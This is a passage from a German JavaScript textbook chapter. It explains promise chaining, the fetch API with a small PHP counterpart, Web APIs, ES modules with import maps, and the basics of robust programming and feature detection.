            Wir haben in den vorangegangenen Beispielen immer nur mit anonymen Funktionen gearbeitet, aber selbstverständlich dürfen auch benannte Funktionen verwendet werden:

            mypromise().then(Erfolgshandler,Fehlerhandler); 


            oder:

            myPromise
  .then(Erfolgshandler)
  .catch(Errorhandler)
; 


            mit

            function Erfolgshandler(result) { … }
function Errorhandler(error) { … } 


            
                Zustände von Promises

                Ein Promise kann sich in einem von drei Zuständen befinden:

                
                    	
                        pending (dt. schwebend): initialer Status, weder fulfilled noch rejected.

                    

                    	
                        fulfilled (dt. erfüllt): Die Operation war erfolgreich.

                    

                    	
                        rejected (dt. zurückgewiesen): Die Operation ist gescheitert.

                    

                

                Ein weiterer Begriff beschreibt den Zustand settled (erledigt, aber nicht zwingend erfolgreich): Das Promise ist entweder fulfilled oder rejected, aber nicht pending.

                Mit diesem Mechanismus können asynchrone Methoden in gleicher Weise Werte zurückgeben wie synchrone Methoden: Anstelle des endgültigen Wertes wird ein Promise zurückgegeben, dass es zu einem Zeitpunkt in der Zukunft einen Wert geben wird.

                Ein Promise mit dem Status pending kann entweder zu fulfilled mit einem Wert oder zu einem rejected mit einem Grund werden. Wenn einer dieser Fälle eintritt, werden die assoziierten Handler aufgerufen, die über die then-Methode gequeued (aneinandergereiht) wurden. Ist ein Promise bereits in fullfilled oder rejected und wird erst dann ein entsprechender Handler hinzugefügt, dann wird dieser Handler aufgerufen. Es gibt somit keine Race Conditions zwischen der Ausführung der asynchronen Aktion und dem Hinzufügen des Handlers.

                
                    [Info]  Race Conditions

                    Als Race Condition bezeichnet man in der Programmierung einen Zustand, in der das Gesamtergebnis einer Operation vom zeitlichen Verhalten bestimmter Einzeloperationen abhängt. Es findet also eine Art Wettlauf unter den einzelnen Operationen statt – je nachdem, welche der Operationen gewinnt, wird der auf sie folgende Code gegebenenfalls unterschiedlich ausgeführt. Beispielsweise dürfte ein auf einen Sever hochgeladenes Bild erst dann verkleinert werden, wenn es auf dem Server gespeichert wurde und nicht zuvor.

                

            
            
                Verkettung von Promise-Aufrufen

                Durch den Aufbau von Promises ist es möglich, Promises miteinander zu verketten. Dabei wird ein und dasselbe Promise mehrmals aufgerufen, sein Rückgabeobjekt wird dann aber unterschiedlich verarbeitet, beispielsweise durch verschiedene Handler:

                myPromise
  .then(Erfolgshandler1,Errorhandler1)
  .then(Erfolgshandler2,Errorhandler2)
  .then(Erfolgshandler3,Errorhandler3)
  …
; 


                Listing 7.64    
            Verkettete Promises

                Alternativ kann auch ein gemeinsames catch verwendet werden, das ausgeführt wird, wenn in irgendeinem Promise-Durchlauf ein Fehler erzeugt wurde:

                myPromise
  .then(Erfolgshandler1)
  .then(Erfolgshandler2)
  .then(Erfolgshandler3)
  …
  .catch(gemeinsamerErrorhandler)
; 


                Listing 7.65    
            Verkettete Promises mit einem gemeinsamen Error Handling

                Sollte es gewünscht sein, dass ein folgender Aufruf des Promise mit dem zuvor erzeugten Ergebnis (result) weiterarbeiten soll, so muss mit return im then() gearbeitet werden.

                Betrachten Sie das folgende Beispiel, wo mit einem Promise eine Zufallszahl erzeugt wird. Im ersten Codeschnipsel erfolgt dies in der ersten Runde auch, aber die zweite Runde ergibt keinen Sinn, da die zweite Runde mit demselben Ergebnisobjekt hätte weitermachen sollen, das aber nun nicht mehr zur Verfügung steht. Das zweite Codeschnipsel liefert jedoch das Ergebnis der ersten Runde zurück, sodass Runde 2 damit arbeiten kann:

                const myPromise2 = new Promise((resolve,reject) => {
  var zufall = Math.random();
  if(zufall>0.5) {
    resolve(zufall);
  }
  else {
    reject("Die Zufallszahl war zu klein");
  }
});
 
myPromise2
  .then((result) => { console.log(
"Runde 1: Die mit 10 multiplizierte Zahl ergibt:",result); })
  .then((result) => { console.log(
"Runde 2: Die mit 10 multiplizierte Zahl ergibt:",result); })
  .catch((error) => { console.log(error); })
; 


                Listing 7.66    
            Promises mit Wertübergaben zwischen den »then()«-Verarbeitungen, jedoch noch mit Problemen

                Die zweite Runde ergibt ein undefined, da diese auf einen Rückgabewert der ersten Runde vertraut hat. Dieser wird nun eingefügt:

                myPromise2
  .then((result) => {
    console.log("Runde 1: Die mit 10 multiplizierte Zahl ergibt:",result);
    return result; 
  })
  .then((result) => { console.log(
"Runde 2: Die mit 10 multiplizierte Zahl ergibt:",result); })
  .catch((error) => { console.log(error); })
; 


                Listing 7.67    
            Nun klappt die Wertübergabe.

                Dieses sogenannte Chaining von Promises löst somit aber auch das Callback-Hell-Problem, von dem wir eingangs ausgegangen sind:

                const myPromise = (file) => new Promise((resolve,reject) => {
  const ajax = new XMLHttpRequest();
  ajax.addEventListener("load", (ev) => {
    resolve(ev.target.response);
  });
  ajax.addEventListener("error", (ev) => {
    reject("Fehler beim Laden der Datei:",file);
  });
  ajax.open("GET",file);
  ajax.send();
});
 
myPromise("datei0.txt")
  .then(result => myPromise(result))
  .then(result => myPromise(result))
  .catch((error) => { console.log(error); })
; 


                Listing 7.68    
            Die Lösung des Callback-Hell-Problems mit Promises

            
        
        
            7.10.3    Die fetch-API als bessere Alternative zu AJAX

            Mit AJAX und Promises haben wir zwei Ideen davon bekommen, wie asynchroner Code verarbeitet werden kann. Wir haben auch gesehen, dass Promises das Problem der Callback Hell lösen können. Was wäre aber nun, wenn es eine Alternative zu AJAX gäbe, die mit Promises arbeitet? Und das ist die fetch-API (siehe https://developer. mozilla.org/en-US/docs/Web/API/Fetch_API).

            Anders als das XMLHttpRequest-Objekt gibt die fetch()-Methode ein Promise zurück. Für den Fall, dass die fetch()-Methode erfolgreich ausgeführt wurde (dies ist im Übrigen auch dann der Fall, wenn der Server einen Fehlerstatus wie 404, 500 etc. zurückgibt), wird ein Response-Objekt (siehe https://developer.mozilla.org/en-US/docs/Web/API/Response) zurückgegeben, das in weiterer Folge verarbeitet und ausgelesen werden kann.

            Betrachten wir das folgende Beispiel, in dem die Datei datei0.txt gelesen werden soll und ihr Inhalt in der Entwicklerkonsole ausgegeben werden soll:

            const anfrage = fetch("datei0.txt")
  .then((result) => {
    if(result.ok) {
      return result.text();
    }
    else {
      throw new ReferenceError("Fehlerstatus "+result.status);
    }
  })
  .then((textinhalt) => {
    console.log("Inhalt:",textinhalt);
  })
  .catch((error) => {
    console.log(error);
  })
;


            Listing 7.69    
            Die fetch-API löst früher oder später die AJAX-Anfragen ab.

            Das Result-Objekt besteht aus einer Reihe von Eigenschaften und Methoden, wobei insbesondere die folgenden interessant sind:

            
                	
                    Eigenschaften

                    
                        	
                            ok: Gibt über einen booleschen Wert an, ob die Anfrage erfolgreich war oder nicht (Statuscodes 200–299, vgl. Abschnitt 3.2.1; »HTTP/1.1, HTTP/2 oder HTTP/3 und die Statuscodes«).

                        

                        	
                            body: ein Datenstrom (ReadableSteam), der für Live-Daten genutzt werden kann

                        

                    

                

                	
                    Methoden

                    
                        	
                            blob(): Wandelt den Inhalt der Server-Response in einen Blob um; dieser wird etwa beim Laden von Mediendaten benötigt.

                        

                        	
                            json(): Wandelt den Inhalt der Server-Response in ein JSON-Objekt um.

                        

                        	
                            text(): Wandelt den Inhalt der Server-Response in einen Text um.

                        

                    

                

            

            Im Fall von Listing 7.69 wird also die Datei datei0.txt asynchron geladen. Sollte der Ladevorgang erfolgreich gewesen sein (response.ok ist true), so wird der Textinhalt der Datei ausgelesen (response.text()) und mit return zurückgegeben. Das darauf folgende then() verarbeitet den Text über die textinhalt-Variable und anschließend wird er in der Ausgabekonsole dargestellt.

            Wie auch bei AJAX kann die fetch()-Methode mit einer Reihe optionaler Parameter aufgerufen werden. Dies erfolgt über ein zusätzliches Objekt, das an die fetch()-Methode übergeben wird:

            const optionen = {
  ...
};
const anfrage = fetch(resource, optionen)...;


            Die wichtigsten Optionen drehen sich um die Anfrage-Methode (method), zu übermittelnde Daten (body) und um Zusatzinformationen an den Server (header). Im Folgenden sehen Sie ein Beispiel, in dem ein JSON-Objekt mit Daten (Vor- und Nachname sowie Geschlecht einer Person) an Daten an den Server übergeben wird und der Server aus dem übergebenen Vor- und Nachnamen ein Ergebnis zusammenbastelt:

            let data = new FormData();
data.append("Vorname","Uwe");
data.append("Nachname","Mutz");
data.append("Geschlecht","m");
 
const optionen = {
  method: "POST",
  body: data
};
 
const anfrage = fetch("person.php",optionen)
  .then((result) => {
    if(result.ok) {
      return result.text();
    }
    else {
      throw new ReferenceError("Fehlerstatus "+result.status);
    }
  })
  .then((text) => {
    document.querySelector("#area").innerHTML = text;
  })
  .catch((error) => {
    console.log(error);
  })
;


            Listing 7.70    
            Eine »fetch«-Anfrage mittels POST und Übergabewerten

            Als kleinen Vorgriff auf das PHP-Kapitel sehen Sie hier den zugehörigen PHP-Code:

            <?php
if(count($_POST)>0) {
  switch($_POST["Geschlecht"]) {
    case "m":
      $r = "Sehr geehrter Herr ";
      break;
    case "w":
      $r = "Sehr geehrte Frau ";
      break;
    default:
      $r = "Guten Tag, ";
  }
  echo($r.= $_POST["Vorname"]." ".$_POST["Nachname"]);
}
?>


            Das Ergebnis sehen Sie in Abbildung 7.83.

            
                [image: Die Ausgabe der übermittelten Daten mittels PHP]

                Abbildung 7.83    
            Die Ausgabe der übermittelten Daten mittels PHP

            
            
                [+]  fetch vs. AJAX

                Die Frage ist nun: Was sollten Sie verwenden – AJAX oder fetch? Die fetch-API wurde eigens dafür entwickelt, die AJAX-Variante mittelfristig zu ersetzen, weshalb neuer Code grundsätzlich mit der fetch-API geschrieben werden sollte. Dennoch dürfen Sie auch die AJAX-Variante nicht vergessen, denn viel bestehender asynchroner Code ist immer noch mit AJAX aufgebaut. Als Entwickler bzw. Entwicklerin sollten Sie ja auch mit älterem Code umgehen können.

            

        
    


                    
                        
        7.11    Web-APIs

        Das Web ist in Bewegung – ich denke, dieser Umstand ist mittlerweile sehr klar und deutlich in Erscheinung getreten. Wie sehr das der Fall ist, lässt sich gut an den zahlreichen Weiterentwicklungen im JavaScript-Bereich und dort vor allem in den Web-APIs erkennen.

        Die Web-APIs sind funktionale Erweiterungen zu den üblichen Tätigkeiten in JavaScript. Zwar sind sie vor allem im Zuge von (Web oder Progressive Web) App-Entwicklungen in Erscheinung getreten, aber dennoch werden sie mehr und mehr auch in der »normalen« Webentwicklung eingesetzt. Das beste Beispiel ist die fetch-API, die wir im vorangegangenen Abschnitt beleuchtet haben.

        
            [»]  API – Application Programming Interface

            Unter einer API versteht man ganz allgemein eine Schnittstelle in der Programmierung. In unserem Fall geht es um die Web-APIs (https://developer.mozilla.org/en-US/docs/Web/API), die etwa den Zugriff auf Positionsdaten (Geolocation), den Beschleunigungs- und Neigungssensor (Device Orientation) oder auch das lokale Dateisystem (File System) ermöglichen.

        

        Je nachdem, welche Features die Ausgabegeräte der User besitzen, können die APIs verwendet werden. Lassen Sie uns mit Abbildung 7.84 einmal einen Blick auf die APIs werfen (https://developer.mozilla.org/en-US/docs/Web/API).

        
            [image: Mozilla hat’s: eine Übersicht über die Web-APIs]

            Abbildung 7.84    
            Mozilla hat’s: eine Übersicht über die Web-APIs

        
        Hierin finden Sie beispielsweise die IndexedDB API, auf die wir in Abschnitt 7.15 kurz zu sprechen kommen, oder die Device Orientation Events API, mit deren Hilfe auf die Bewegungs- und Beschleunigungssensoren des Ausgabegeräts zugegriffen werden kann. Dass diese API nur dann sinnvoll verwendet werden kann, wenn das Ausgabegerät solche Sensoren besitzt, ist klar. Aus diesem Grund müssen Sie mit diesen APIs vorsichtig umgehen und zuvor überprüfen, ob das Ausgabegerät die jeweilige API auch unterstützt. Darüber werden wir uns in Abschnitt 7.13.3 Gedanken machen, wo es um robuste Programmierung geht.

        
            [+]  Bleiben Sie dran!

            Es lohnt sich in jedem Fall, die Web-APIs im Auge zu behalten, um auf dem neuesten Stand zu bleiben. Insbesondere hier zeigt sich, wohin der Trend in der JavaScript-Entwicklung geht.

        

    


                    
                        
        7.12    Auslagern von Code und Modulen

        Als Sie mit diesem Kapitel zu JavaScript begonnen haben, standen Sie vor dem Problem, erst einmal das Programmieren zu lernen. Mit jedem Schnipsel wurde unser Code länger und länger.

        Irgendwann steht man als Entwickler dann vor dem Problem, Tausende Zeilen an Code vor sich zu haben, wodurch die Übersicht in aller Regel futsch ist. Spätestens dann sollte man sich daran erinnern, dass Code auch in externe Dateien ausgelagert werden kann. Man beginnt also damit, Code mehr und mehr in Funktionen aufzuteilen und diese thematisch in unterschiedlichen Dateien abzulegen:

        function mittelwert(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum/werte.length;
}
 
function summe(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum;
}
 
function grossbuchstaben(str) {
  return str.toUpperCase();
}
 
function kleinbuchstaben(str) {
  return str.toLowerCase();
}


        Listing 7.71    
            Verschiedene Funktionen, die wir nun in einzelne Dateien verlagern

        Thematisch gesehen, passen die ersten beiden und die letzten beiden Funktionen gut zusammen. Während es bei den ersten beiden um mathematische Funktionen geht, so befassen sich die letzten beiden mit Stringfunktionen (toUpperCase(): einen String in Großbuchstaben umwandeln; toLowerCase(): einen String in Kleinbuchstaben umwandeln). Es würde also naheliegen, zwei JavaScript-Dateien zu erzeugen und die jeweiligen Funktionen dort abzulegen und dann in HTML-Code einzubinden:

        Die Datei js/mathematik.js

        function mittelwert(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum/werte.length;
}
 
function summe(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum;
}


        Die Datei js/strings.js

        function grossbuchstaben(str) {
  return str.toUpperCase();
}
 
function kleinbuchstaben(str) {
  return str.toLowerCase();
}


        Der HTML-Code

        <script src="js/mathematic.js"></script>
<script src="js/strings.js"></script>


        In diesem Zusammenhang spricht man dann gerne von einer Funktionsbibliothek. Mit der Zeit werden diese Dateien dann ebenfalls größer und größer, da sich mehr und mehr Funktionen hinzugesellen, womit Sie vor dem nächsten Problem stehen: Viele der Funktionen einer solchen Datei benötigen Sie im aktuellen Projekt gar nicht, aber dennoch muss die gesamte Datei geladen werden. (Aus Sicht des Users ist das wiederum unfair, da er Daten laden muss, die er bzw. die Website, die er betrachtet, gar nicht benötigt.)

        Die Lösung dieses Problems liegt in den JavaScript Modules (https://developer.mozilla. org/en-US/docs/Web/JavaScript/Guide/Modules). Sie erlauben einerseits die Auslagerung von Code in externe Dateien, erlauben andererseits aber auch die Angabe, welche Funktionen tatsächlich benötigt werden. Module sind JavaScript-Dateien, die mit der Endung .mjs (anstatt .js) versehen werden.

        
            [ ! ]  .mjs vs. .js

            An sich kann ein Modul auch mit der Endung .js gespeichert werden. Um eine Abgrenzung zu normalen JavaScript-Dateien zu treffen, wird jedoch die Endung .mjs empfohlen. Dennoch sei an dieser Stelle gewarnt: Nicht jeder Server ist in der Lage, eine .mjs-Datei mit dem korrekten MIME Type auszuliefern. Üblicherweise sind es die Apache-Webserver, die keinen MIME Type ausliefern. Korrekt wäre der MIME Type application/javascript. Ist dies der Fall und haben Sie keine Möglichkeit, in die Konfiguration des Servers einzugreifen, so sollte die Datei mit der Endung .js gespeichert werden.

        

        Modulfunktionen verhalten sich exakt genauso wie unsere gewohnten Funktionen. Damit eine Funktion (oder auch eine Variable, eine Konstante oder eine Klasse) jedoch in einer anderen Datei verwendet werden kann, muss sie exportiert werden. Hierfür kennen wir zwei Möglichkeiten: Entweder wird vor dem zu exportierenden Element ein export geschrieben:

        export function mittelwert(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum/werte.length;
}
 
export function summe(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum;
}


        Listing 7.72    
            Funktionen werden für die Verwendung durch einen Import verfügbar gemacht (exportiert).

        Oder man exportiert am Ende eines Moduls alle gewünschten Elemente auf einmal:

        Die Datei module/mathematik.mjs

        function mittelwert(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum/werte.length;
}
 
function summe(...werte) {
  let sum = 0;
  for(let i=0; i<werte.length; i++) {
    sum+= werte[i];
  }
  return sum;
}
export { mittelwert, summe);


        Listing 7.73    
            Eine alternative Anwendung von »export«

        Um Funktionen aus den Modulen zu nutzen, wird das import-Statement benötigt, das in einem <script>-Tag mit dem Content-Typ module geladen wird:

        <script type="module">
  import { summe, mittelwert } from "./module/mathematik.mjs";
  console.log(mittelwert(2,3,4));
  console.log(summe(2,3,4));
</script>


        Listing 7.74    
            Die exportierten Funktionen werden nun importiert.

        
            [ ! ]  Script Scope

            Beachten Sie, dass importierte Konstrukte (Variablen, Funktionen, Klassen) nur innerhalb des Script-Blocks verfügbar sind, in dem der Import stattgefunden hat. Das mag im ersten Moment als Einschränkung angesehen werden, ist jedoch im Sinne robusten Codes (siehe den folgenden Abschnitt 7.13) ein sehr probates Mittel, um Code möglichst ausfallsicher zu halten.

        

        Selbstverständlich sind in einem Block auch mehrere Importe möglich:

        <script type="module">
  import { summe, mittelwert } from "./module/mathematik.mjs";
  import { grossbuchstaben, kleinbuchstaben } from "./module/strings.mjs";
  console.log(mittelwert(2,3,4));
  console.log(summe(2,3,4));
  console.log(grossbuchstaben("Uwe"));
  console.log(kleinbuchstaben("Uwe"));
</script>


        
            [ ! ]  Der Pfad zur Moduldatei

            Sicherlich ist Ihnen nicht entgangen, dass die relativen Pfade zu den Dateien mit ./ beginnen und somit festlegen, dass von dem Verzeichnis ausgegangen werden muss, in dem sich die HTML-Datei befindet. Würde man darauf verzichten, so würde der Import nicht funktionieren:

            
                	
                    import mittelwert from "./module/mathematik.mjs" ist erlaubt.

                

                	
                    import mittelwert from "module/mathematik.mjs" ist nicht erlaubt.

                

            

            Root-relative Pfade sind zwar ebenfalls erlaubt, jedoch nicht erwünscht.

        

        Sollten nun auch die Importe mehr und mehr werden, so kann auch der gesamte Import in eine externe Datei ausgelagert werden:

        <script type="module" src="./module/main.js"></script>


        mit module/main.js:

        import { summe, mittelwert } from "./mathematik.js";
import { grossbuchstaben, kleinbuchstaben } from "./strings.js";
console.log(mittelwert(2,3,4));
console.log(summe(2,3,4));
console.log(grossbuchstaben("Uwe"));
console.log(kleinbuchstaben("Uwe"));


        Eine weitere Alternative, um den Code noch feiner zu strukturieren, sind Import Maps. Sie erlauben eine symbolische Namensvergabe für Importpfade. Das erleichtert den Verweis auf die jeweiligen Dateien. Import Maps werden über den MIME Type importmap gekennzeichnet und müssen vor allen Importen definiert werden:

        <script type="importmap">


          {
    "imports": {
      "mathematik": "./module/mathematik.js",
      "strings": "./module/strings.js"
    }
  }


        </script>
<script type="module">


          import { summe, mittelwert } from "mathematik";
  import { grossbuchstaben, kleinbuchstaben } from "strings";
  console.log(mittelwert(2,3,4));
  console.log(summe(2,3,4));
  console.log(grossbuchstaben("Uwe"));
  console.log(kleinbuchstaben("Uwe"));


        </script>


        Listing 7.75    
            Die Nutzung einer Import Map

        Je mehr Funktionen man in unterschiedlichen Modulen ablegt, umso eher kann der Fall eintreten, dass zwei Funktionen denselben Namen bekommen:

        
            	
                in der Datei module/mathematik.mjs:

                export function init() { … }


            

            	
                in der Datei module/strings.mjs:

                export function init() { … }


            

        

        Werden nun die beiden Funktionen aus den unterschiedlichen Modulen gemeinsam importiert, so entsteht ein Konflikt. Diesen kann man lösen, indem man den Funktionen Aliasse gibt:

        import { init as initMath } from "./modul1.mjs";
import { init as initString } from "./modul2.mjs";
initMath(); //Aufruf der init-Funktion von mathematik.mjs
initString(); //Aufruf der init-Funktion von strings.mjs


    


                    
                        
        7.13    Robuste Programmierung – der Umgang mit Fehlern

        Rekapitulieren wir kurz einmal: Was Sie bis dato gelernt haben, sind die Grundlagen der Programmierung. Sie wissen über Variablen, Bedingungen und Schleifen genauso Bescheid wie über Arrays, Objekte und Funktionen. Auch mit dem Auslagern von Code und mit den Modulen sind Sie nunmehr vertraut. Jedoch sind wir bis dato davon ausgegangen, dass unser Code, korrekt und fehlerfrei ist. Das ist auch gut so, und für manche der möglichen Fehler haben wir’s ja auch in der Hand:

        
            	
                Syntaktische Fehler können wir vermeiden, indem wir darauf achten, keine Schreibfehler zu machen: vergessene Klammern oder Kommata etc.

            

            	
                Typfehler vermeiden wir, indem wir Werte (von Variablen etc.) immer mit dem korrekten Typ versehen, prüfen bzw. entsprechend umwandeln: parseInt() etc.

            

        

        Weitere Beispiele wären:

        
            	
                konkurrierende Scripts: Beispielsweise werden zwei Scriptdateien eingebettet, wobei in beiden Dateien dieselbe globale Variable deklariert wird.

            

            	
                nicht existierende Variablen, Arrays oder Funktionen: Im Code wird versucht, auf Ressourcen zuzugreifen, die nicht existieren (z. B. let a=5, d=3; c = a+b; aber b exisitiert nicht). Dies ist zwar oft auch nur ein Schreibfehler, aber dennoch wird ein Fehler erzeugt.

            

        

        Was wir jedoch nicht beeinflussen können, sind Fehler, die aufgrund anderer Widrigkeiten entstehen: Beispielsweise sollen Daten von einem entfernten Server geladen werden, aber der Server reagiert nicht und wir erhalten einen Serverfehler als Antwort zurück. Beispiele hierfür wären:

        
            	
                Lade- und Netzwerkfehler: Sie entstehen, wenn ein Script nicht oder nur teilweise geladen werden kann – etwa deshalb, weil die Netzwerkverbindung abgebrochen ist oder das Dokument bzw. der Server nicht verfügbar ist.

            

            	
                Sicherheitsthemen: Beispielsweise wird versucht, Dateien von entfernten Servern zu laden, aber der entfernte Server lehnt die Anfrage aufgrund seiner Sicherheitsrichtlinien ab. Oder wir wollen im Code die aktuelle geografische Position über die Geolocation-API abfragen, aber der User hat die Nutzung des GPS-Sensors nicht erlaubt.

            

        

        Was also versteht man unter einem robusten Programmcode? Hiermit ist gemeint, dass ein Programm genau dann robust ist, wenn für jede Eingabe eine wohldefinierte Ausgabe produziert wird bzw. wenn das Programm normal terminiert. Gut, kommen wir zur nächsten Frage: Was ist mit »normal terminiert« gemeint? Unter normal terminieren versteht man, dass das Programm in keinen Ausnahmezustand (Exception) gerät, mit dem das Programm nicht umgehen kann. Man kann auch sagen, dass ein Programm auch dann weiterarbeiten kann (und normal läuft), wenn unerwartete Situationen auftreten. Auch wenn Fehler auftreten, läuft das Programm normal weiter.

        Das bringt uns zur nächsten Frage: Welche Gründe kann es geben, dass ein solcher Ausnahmezustand auftritt, und wie können wir das verhindern oder entsprechend behandeln? Und damit sind wir beim Thema: Die robuste Programmierung soll

        
            	
                einerseits verhindern, dass solche Ausnahmezustände auftreten (was wir als Programmierer*innen jedoch nicht immer in der Hand haben), und sie soll

            

            	
                andererseits Lösungen bereitstellen, wie beim Auftreten einer solchen Exception mit ihr umgegangen wird.

            

        

        
            7.13.1    Progressive Enhancement vs. Graceful Degredation

            Im Webbereich und insbesondere in der JavaScript-Programmierung stehen wir vor dem Problem, dass wir nicht wissen, über welche Browser unsere User verfügen. Dementsprechend wissen wir auch nicht, wie sehr wir die Möglichkeiten von JavaScript ausreizen können. JavaScript verfügt mittlerweile über ein sehr ansehnliches Repertoire an Web-APIs. Möchte man diese in einem Webprojekt einsetzen, so muss man sich jedoch auch die Frage stellen, ob die Browser unserer User die jeweilige Web-API unterstützen. Die (Weiter-)Entwicklung solcher APIs erfolgt derart schnell, dass man als Entwickler*in beim besten Wissen nicht exakt abschätzen kann, ob die API verwendet werden kann oder nicht. Wie geht man also damit um? Hier gäbe es zwei mögliche Ansätze:

            
                	
                    Progressive Enhancement: Man geht vom Minimalfall aus (also dem, was ein Browser normalerweise kann) und baut dann Schritt für Schritt auf diesem Minimalset auf, indem man Zug um Zug (deshalb auch der Begriff »progressive«) neue Features hinzufügt und prüft, ob der jeweilige Browser dieses Feature unterstützt.

                

                	
                    Graceful Degredation: Bei diesem Ansatz geht man den genau umgekehrten Weg, indem man einmal annimmt, der Browser würde sämtliche Features unterstützen. Jedoch wird bei jedem Feature nachgefragt, ob der Browser das auch wirklich kann. Sollte dem nicht so sein, begnügt man sich mit weniger und weniger.

                

            

            Sie sehen also, dass beide Varianten auf einer Idee aufbauen: prüfen, ob ein Browser gewisse Features unterstützt oder nicht. Der Fachbegriff hierfür lautet Feature Detection. Die Feature Detection ist ein erster Ansatz, um robusten Code zu erzeugen. Würde man nämlich ein Feature einsetzen wollen, das der Browser nicht unterstützt, so würde dieser zwangsläufig einen Fehler erzeugen.

            Ein erster Hinweis, ob die gewünschte API bzw. das gewünschte Feature eingesetzt werden kann, liefert natürlich zum einen die zugehörige Dokumentation (beispielsweise die Developer-Site von Mozilla – developer.mozilla.org – oder auch unsere beliebte CanIUse-Site www.caniuse.com). Dies ist jedoch nur der erste Ansatz, den wir auf Basis der Zielgruppe unseres Projekts wählen. In Abschnitt 2.4.2, »Die Zielgruppenanalyse als Mittel, den User kennenzulernen«, haben Sie gesehen, dass wir bei der Zielgruppendefinition auch Auskunft darüber geben können, wie technisch affin unsere User sind. Ob das gewünschte Feature dann tatsächlich verfügbar ist, wissen wir jedoch noch nicht. Dazu benötigen wir mehr Informationen aus Abschnitt 7.13.3, »Was geht, was geht nicht?«.

        
        
            7.13.2    Fehlertoleranz

            Je größer ein Projekt wird, umso mehr Teile des Codes müssen zusammenspielen, damit das System läuft. Weil JavaScript (im Gegensatz zu HTML und CSS) alles andere als fehlertolerant ist, bedeutet das im Allgemeinen: Wenn an irgendeiner Stelle ein Fehler auftritt, gerät das gesamte System ins Wanken. Eine sehr gängige Lösung ist, das gesamte System in eine Menge kleinerer Subsysteme zu unterteilen: Wenn dann ein Fehler in einem Subsystem auftritt, dann hat das geringere (bis keine) Auswirkungen auf das gesamte System. Systeme, in denen Fehler nicht »weitergegeben« werden, nennt man eine Sandbox. Leider existiert etwas Derartiges in JavaScript nicht, aber man kann sich mithilfe geeigneter Techniken behelfen.

        
        
            7.13.3    Was geht, was geht nicht?

            Um zu prüfen, ob eine Funktionalität bereitsteht, existieren drei wesentliche Prüfmethoden:

            
                	
                    Existenzprüfung: Prüft, ob der Name des gewünschten Elements (Funktion, Variable etc.) existiert.

                

                	
                    Typprüfung: Nachdem der Wert eines Elements über dessen Namen ermittelt wurde, kann geprüft werden, ob der Typ korrekt ist.

                

                	
                    Wertprüfung: Sollte der Wert ermittelt werden können, so wird dieser nun mit dem erwarteten Wert verglichen.

                

            

            Bevor wir uns mit der Existenz- und der Typprüfung auseinandersetzen, noch ein paar Worte zur Wertprüfung. Sie ist für die Feature Detection von geringerem Wert, macht einen Code jedoch robuster. An dieser Stelle seien Ihnen vor allem die Wert- und Typprüfung mittels === und !== ans Herz gelegt. Wie Sie in Abschnitt 7.4.1 im Teil über Operationen gesehen haben, bergen == und != die Gefahr der Typumwandlung. Jetzt darf man natürlich nicht sagen, dass == und != nie verwendet werden sollen, denn in manchen Fällen (z. B. nach einer Usereingabe) ist eine solche Umwandlung durchaus auch erwünscht, sofern man sich einer solchen bewusst ist. Dennoch: Wann immer es möglich ist, sollten Sie auf Wert- und Typprüfung setzen.

            
                Die Existenzprüfung

                Unser offensichtlich erster Zugang zu einer Existenz- oder Typprüfung ist die if-Anweisung aus Abschnitt 7.4.2, mit der wir einerseits fragen möchten, »ob etwas existiert« oder »ob etwas vom richtigen Typ« ist. Nun wissen Sie, dass die Verarbeitung der if-Anweisung davon abhängt, wie die Entscheidung über die zu prüfende Bedingung (if(Bedingung) { .. }…) ausfällt: Bei true wird der if-Teil, bei false der else-Teil (sofern vorhanden) abgearbeitet. Worüber wir uns jedoch keine Gedanken gemacht haben, ist folgende Frage: Was wäre, wenn wir die Bedingung mit etwas befüllen, das gar keinen booleschen Wert ergibt?

                Im Prinzip könnten wir in diese Bedingung ja alles Mögliche hineinschreiben, wie etwa:

                if("Hallo Welt!") { alert("Hallo Welt"); }
else { alert("Hm, was nun? Wird dieser Teil jemals ausgeführt?"); }


                Klar, das ergibt wenig Sinn. Aber eventuell kann ein solcher Fall tatsächlich auftreten, wenn man mit Variablen unbekannten Ursprungs arbeitet:

                let a = "Hallo Welt!"; //diese Variable wird beispielsweise in einem externen 
//Script erzeugt
...
if(a) { alert("Hallo Welt"); }
else { alert("Hm, was nun? Wird dieser Teil jemals ausgeführt?"); }


                In diesem Fall würde JavaScript versuchen, den Inhalt von a in einen booleschen Wert umzuwandeln, was in vielen Fällen auch gelingt. Gelingt es, so spricht man von einem truthy-Wert, ansonsten von einem falsy-Wert.

                Fasst man die Möglichkeiten, die auftreten können, zusammen, so ergibt sich das Bild aus Tabelle 7.7.
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                                Boolean

                            
                            	
                                der Wert von a

                            
                        

                        
                            	
                                undefined

                            
                            	
                                false

                            
                        

                        
                            	
                                null

                            
                            	
                                false

                            
                        

                        
                            	
                                String

                            
                            	
                                
                                    	false: Stringlänge = 0


                                    	true: Stringlänge > 0


                                

                            
                        

                        
                            	
                                Number

                            
                            	
                                
                                    	false bei 0, -0 oder NaN (Not a Number)


                                    	true: sonst


                                

                            
                        

                        
                            	
                                Object

                            
                            	
                                true

                            
                        

                    
                

                Tabelle 7.7    
            Die Ergebniswerte der Verarbeitung einer internen Typumwandlung

                Die Frage ist nun: Können wir dieses Wissen nun auch einsetzen, um die gewünschte Feature Detection auszuführen? Ja und nein. Kämen wir auf die Idee, zu prüfen, ob eine gewisse Funktionalität einer API vorhanden ist oder nicht (beispielsweise die getCurrentPosition()-Methode der Geolocation-API, die über den Navigator verfügbar gemacht wird), so wäre ein erster Ansatz dieser:

                if(navigator.geolocation.getCurrentPosition) {
  //ja, vorhanden
}
else {
  //nein, nicht vorhanden
}


                Das würde in der Tat auch funktionieren, sofern die Geolocation-API verfügbar ist. Wenn dies jedoch nicht der Fall ist, so kann auch nicht geprüft werden, ob die Methode getCurrentPosition() existiert. Gehen wir also einen Schritt zurück, und prüfen wir erst einmal, ob die Geolcation-API existiert:

                if(navigator.geolocation) {
